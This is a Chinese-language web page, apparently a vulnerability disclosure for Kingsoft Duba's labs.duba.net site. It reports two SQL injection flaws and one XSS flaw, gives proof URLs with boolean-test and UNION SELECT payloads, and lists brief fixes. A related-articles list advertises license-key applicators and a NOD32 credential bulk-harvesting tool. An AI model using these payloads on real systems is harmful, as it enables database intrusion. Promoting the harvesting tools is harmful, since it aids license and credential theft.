金山毒霸多個(gè)sql注入及XSS漏洞和修復(fù)
我要評(píng)論第一個(gè)
簡(jiǎn)要描述：由于變量過(guò)濾不嚴(yán)產(chǎn)生SQL注入漏洞 可通過(guò)入侵手段 拿到站點(diǎn)權(quán)限
詳細(xì)說(shuō)明：http://labs.duba.net/kws/feedback2/his.php?uuid=622D988684F34161BC09E869DB38BF3B&app=2
漏洞證明：http://labs.duba.net/kws/feedback2/his.php?uuid=622D988684F34161BC09E869DB38BF3B&app=2 and 1=1
http://labs.duba.net/kws/feedback2/his.php?uuid=622D988684F34161BC09E869DB38BF3B&app=2 and 1=2
結(jié)果明顯不同 注入漏洞產(chǎn)生
修復(fù)方案：過(guò)濾變量app
第二個(gè)
簡(jiǎn)要描述：過(guò)濾不嚴(yán)導(dǎo)致存在SQL注入
詳細(xì)說(shuō)明：過(guò)濾不嚴(yán)導(dǎo)致存在SQL注入 有機(jī)會(huì)拿下服務(wù)器權(quán)限
漏洞證明：http://labs.duba.net/kws/feedback2/his.php?uuid=12B70C061426AAA96F58AE431D180055&app=5%20and%201=2%20union%20select%201,2,version(),4,5,user(),database(),8,9--
http://labs.duba.net/robots.txt
未作進(jìn)一步測(cè)試
修復(fù)方案：過(guò)濾參數(shù)
第三個(gè)：
簡(jiǎn)要描述：留言處過(guò)濾不嚴(yán) 造成跨站漏洞
詳細(xì)說(shuō)明：留言處過(guò)濾不嚴(yán) 造成跨站漏洞
漏洞證明：http://labs.duba.net/kws/feedback2/his.php?uuid=12B70C061426AAA96F58AE431D180055&app=5
相關(guān)文章
金山毒霸U盤(pán)衛(wèi)士 v4.0 綠色版 快速深度檢測(cè)U盤(pán)真實(shí)大小工具
金山U盤(pán)衛(wèi)士綠色版是提取自金山毒霸的一款綠色小軟件，它功能強(qiáng)大，專(zhuān)業(yè)且免費(fèi)為你檢測(cè)U盤(pán)是不是傳說(shuō)中的縮水U盤(pán)！2013-06-18- 1、自動(dòng)申請(qǐng)金山毒霸90天通行證 2、解決上一個(gè)版本中存在的一些問(wèn)題 3、程序界面美化 4、VISTA用戶(hù)請(qǐng)以管理員身份運(yùn)行工具 5、程序運(yùn)行過(guò)程中，請(qǐng)不要關(guān)閉程序，毒2009-08-18
金山毒霸2009 可升級(jí)特別版【1208更新申請(qǐng)器】
金山毒霸通行證申請(qǐng)精靈2.8 功能: 1.自動(dòng)申請(qǐng)37/60天金山毒霸通行證 2.操作簡(jiǎn)便,易于掌握 3.VISTA操作系統(tǒng)下請(qǐng)使用管理員身份進(jìn)行運(yùn)行 4.內(nèi)置了下載金山毒霸和金2008-12-11
金山毒霸2015 新毒霸 悟空 具有防火墻的殺毒軟件 SP2.5 中文官方正式版
金山毒霸2015具有病毒防火墻實(shí)時(shí)監(jiān)控、壓縮文件查毒、查殺電子郵件病毒等多項(xiàng)先進(jìn)的功能。2015-07-29
歡迎您使用本軟件，使用前請(qǐng)殺毒,最好是到作者官方站下載， 這樣可能會(huì)更安全些，以免遇到不法份子捆 綁了惡意程序?qū)δ臋C(jī)器造成破 壞,2008-12-11NOD32 金山毒霸 用戶(hù)名/密碼/通行證批量獲取工具
可以批量獲取NOD32 EAV/ESS 用戶(hù)名密碼并且可以使用官方服務(wù)器更新病毒庫(kù)，6個(gè)更新源，可保證高效穩(wěn)定獲取最新的ID密碼。支持將用戶(hù)名密碼或通2009-07-03- 我最近按照金山的提示，更新了金山毒霸獵豹版，這下可不得了了，每天都要提示我被黑客攻擊，已攔截。我看了一下，最多的一天有上百次攔截，這是怎么回事啊？2011-11-03
- 此工具可自動(dòng)反復(fù)申請(qǐng)90天的金山毒霸通行證，完美支持金山毒霸2009、2008 VISTA系統(tǒng)下，請(qǐng)以系統(tǒng)管理員身份運(yùn)行工具。在使用時(shí)，工具本身不會(huì)連接網(wǎng)絡(luò)，純綠色、安全，使用2010-01-04
金山毒霸上網(wǎng)保護(hù) 搜狗瀏覽器安全插件 V1.1.1.1 中文綠色免費(fèi)版
金山毒霸上網(wǎng)保護(hù)插件，插件具有保護(hù)網(wǎng)購(gòu)安全、攔截欺詐網(wǎng)站、攔截木馬網(wǎng)站等功能，搜狗瀏覽器高速模式插件。用搜狗的朋友可以安裝了。2012-07-30- 筆記本、上網(wǎng)本、游戲用戶(hù)最?lèi)?ài) - 精致界面，完美適配上網(wǎng)本屏幕，安全狀態(tài)一目了然（三種狀態(tài)界面圖略縮圖）- 極速版升級(jí)更省流量，適合3G及無(wú)線(xiàn)網(wǎng)用戶(hù)- 極速版2009-11-11
